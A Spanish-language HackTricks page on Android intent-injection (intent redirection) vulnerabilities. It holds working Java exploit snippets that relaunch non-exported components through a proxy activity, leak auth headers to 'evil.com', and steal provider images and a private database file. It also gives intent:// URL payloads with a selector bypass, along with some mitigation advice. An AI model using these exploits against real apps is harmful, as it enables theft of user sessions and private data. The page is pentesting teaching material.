hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md
2023-06-03 01:46:23 +00:00

260 lines
17 KiB
Markdown

# Introducción
Esta vulnerabilidad se asemeja a la **Redirección Abierta en seguridad web**. Dado que la clase `Intent` es `Parcelable`, **los objetos que pertenecen a esta clase** pueden ser **pasados** como **datos extra** en otro objeto `Intent`. \
Muchos desarrolladores hacen **uso** de esta **característica** y crean **componentes proxy** (actividades, receptores de difusión y servicios) que **toman un Intent incrustado y lo pasan a métodos peligrosos** como `startActivity(...)`, `sendBroadcast(...)`, etc. \
Esto es peligroso porque **un atacante puede forzar a la aplicación a lanzar un componente no exportado que no puede ser lanzado directamente desde otra aplicación**, o para otorgar al atacante acceso a sus proveedores de contenido. **`WebView`** también a veces cambia una **URL de una cadena a un objeto `Intent`**, usando el método `Intent.parseUri(...)` y lo pasa a `startActivity(...)`.
{% hint style="info" %}
En resumen: si un atacante puede enviar un Intent que se está ejecutando de manera insegura, potencialmente puede acceder a componentes no exportados y abusar de ellos.
{% endhint %}
# Un caso típico
Examinemos un ejemplo. Fragmento del archivo `AndroidManifest.xml`
```markup
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
```
Actividad `ProxyActivity`
```java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
```
Actividad `AuthWebViewActivity`
```java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```
`AuthWebViewActivity` es un ejemplo de **funcionalidad oculta de la aplicación que realiza ciertas acciones inseguras**, en este caso pasando la sesión de autenticación del usuario a una URL obtenida del parámetro `url`.
Las restricciones de exportación significan que **el atacante no puede acceder directamente a `AuthWebViewActivity`**. Una llamada directa...
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
```
lanza una `java.lang.SecurityException`, debido a la `Negación de Permiso`: `AuthWebViewActivity no exportado desde el uid 1337`.
Pero el atacante puede **forzar al usuario a lanzar `AuthWebViewActivity` por sí mismo**:
```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
y no surgirá ninguna violación de seguridad, porque **la aplicación que está siendo atacada tiene acceso a todos sus propios componentes**. Usando este fragmento de código, el atacante puede evitar las restricciones incorporadas del sistema Android.
# Escalación del impacto
Para aumentar el impacto de esta vulnerabilidad, es necesario **encontrar otras vulnerabilidades/configuraciones incorrectas que permitan aumentar el impacto de la vulnerabilidad** (ya que la vulnerabilidad por sí sola no crea ningún riesgo).
## Escalación de ataques a través de proveedores de contenido
Además del acceso a componentes arbitrarios de la aplicación original, el **atacante puede intentar obtener acceso a aquellos Proveedores de Contenido de la aplicación vulnerable** que satisfagan las siguientes condiciones:
* debe estar **no exportado** (de lo contrario, **podría ser atacado directamente**, sin usar la vulnerabilidad que estamos discutiendo en este artículo)
* debe tener el indicador **`android:grantUriPermissions`** establecido en **`true`**.
* `android:grantUriPermissions="true"` indica que su código Java puede usar `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION` para **cualquier `Uri` servido por ese `ContentProvider`**.
* `android:grantUriPermissions="false"` indica que **solo los valores `Uri` especificados por los elementos secundarios `<grant-uri-permission>`** pueden ser utilizados con `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION`.
El atacante debe establecerse como el destinatario de un intento incrustado y establecer las siguientes indicaciones:
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permite el acceso persistente al proveedor (sin esta indicación, el acceso es solo una vez)
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permite el acceso URI por prefijo - por ejemplo, en lugar de obtener acceso separado repetidamente utilizando una ruta completa como `content://com.victim.provider/image/1`, el atacante puede otorgar acceso a todo el contenido del proveedor utilizando el URI `content://com.victim.provider/` y luego usar `ContentResolver` para abordar `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permite operaciones de lectura en el proveedor (como `query`, `openFile`, `openAssetFile`)
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permite operaciones de escritura
Un ejemplo de un proveedor típico donde un atacante puede obtener acceso y realizar operaciones regulares como `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`.
```markup
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
```
# Ejemplo de robo de imágenes de usuario en el archivo `AndroidManifest.xml`
Un atacante puede robar imágenes de usuario si la aplicación tiene permisos para acceder a la galería de imágenes del dispositivo. Para verificar si la aplicación tiene este permiso, podemos buscar en el archivo `AndroidManifest.xml` de la aplicación.
```xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
```
Si encontramos esta línea en el archivo `AndroidManifest.xml`, significa que la aplicación tiene permiso para leer imágenes de la galería del dispositivo. El atacante puede aprovechar este permiso para robar imágenes de usuario sin su conocimiento.
Para evitar este tipo de ataque, los desarrolladores deben asegurarse de que su aplicación solo solicite los permisos necesarios y que los usuarios estén informados sobre los permisos que se solicitan.
```markup
<activity android:name=".LeakActivity" android:exported="true" />
```
Archivo `MainActivity.java`
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
```
## Ataques al proveedor de archivos de Android
Esta vulnerabilidad también hace posible que el atacante **robe archivos de aplicaciones** ubicados en directorios que el desarrollador predeterminó. Para un ataque exitoso, la aplicación maliciosa necesita **obtener derechos de acceso al proveedor de archivos de Android y luego leer el contenido del proveedor de archivos usando Android ContentResolver**.
Proveedor de archivos de ejemplo (para más detalles, consulte [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
```markup
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
```
Proporciona acceso de lectura/escritura a archivos en una lista especial que se puede encontrar en los recursos de la aplicación, en este caso en `res/xml/provider_paths.xml`.
Puede parecer algo así:
```markup
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
```
Cada etiqueta especifica un directorio raíz con un valor `path` relativo al mismo. Por ejemplo, el valor `external_files` corresponderá a `new File(Environment.getExternalStorageDirectory(), "images")`.
El valor `root-path` corresponde a `/`, es decir, proporciona acceso a archivos arbitrarios.
Supongamos que tenemos algunos datos secretos almacenados en el archivo `/data/data/com.victim/databases/secret.db`: el robo de este archivo puede parecer algo así como esto en `MainActivity.java`.
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
```
## Acceso a componentes arbitrarios a través de WebView
Un objeto Intent puede ser convertido a una cadena con una llamada a `Intent.toUri(flags)` y de vuelta de una cadena a un Intent usando `Intent.parseUri(stringUri, flags)`. Esta funcionalidad es a menudo utilizada en WebView (el navegador integrado de la aplicación): la **aplicación puede verificar un esquema `intent://`, analizar la URL en un Intent y lanzar la actividad**.
**Esta vulnerabilidad puede ser explotada tanto a través de otras vulnerabilidades** (por ejemplo, la capacidad de abrir enlaces arbitrarios en la aplicación en WebView directamente a través de actividades exportadas o mediante el mecanismo deeplink) en la aplicación cliente y también de forma remota, incluyendo scripting entre sitios en el lado del servidor o MitM en el lado del cliente.
Ejemplo de código vulnerable
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
El punto aquí es que el método `shouldOverrideUrlLoading(...)` de la clase `WebViewClient` es llamado cada vez que WebView intenta cargar un nuevo enlace, pero da la opción a la aplicación de agregar un manejador personalizado.
Para explotar esta vulnerabilidad, el atacante necesita crear una redirección de WebView a una URL de esquema de intentos especialmente preparada. Ejemplo de creación de URL:
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
```
Ataque de ejemplo
```java
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
```
Esta versión contiene **varias restricciones en comparación con la versión clásica** de la vulnerabilidad:
* Los objetos `Parcelable` y `Serializable` incrustados no se pueden convertir a cadena (se ignorarán)
* Las banderas inseguras `Intent.FLAG_GRANT_READ_URI_PERMISSION` e `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` son **ignoradas** cuando se llama a `Intent.parseUri(...)`. El analizador solo las dejará si se establece la bandera `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`), lo cual es muy raro.
Muchos desarrolladores todavía olvidan realizar un filtrado completo de los intents recibidos a través de WebView.
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
El atacante puede especificar un componente no exportado a través de un selector.
```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
```
Y evitar la protección de la aplicación contra intents explícitos. Por lo tanto, recomendamos filtrar también el selector.
```java
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
```
Pero incluso un filtrado completo no garantiza una protección completa, ya que un atacante puede crear un intento implícito correspondiente al `intent-filter` de alguna actividad no exportada. Ejemplo de declaración de actividad:
```markup
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
```
```java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
```
Por lo tanto, recomendamos verificar que una actividad esté exportada antes de que se lance.
## Otras formas de crear intents inseguros
Algunos desarrolladores de aplicaciones implementan sus propios analizadores de intents (a menudo para manejar deeplinks o mensajes push), utilizando objetos JSON, cadenas o matrices de bytes, que no difieren del valor predeterminado o presentan un gran peligro, porque pueden expandir objetos `Serializable` y `Parcelable` y también permiten establecer banderas inseguras. El investigador de seguridad también puede encontrar versiones más exóticas de creación de intents, como la conversión de una matriz de bytes a un `Parcel` y luego leer un intent desde él.
```java
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
```
# Aplicación vulnerable
{% embed url="https://github.com/oversecured/ovaa" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>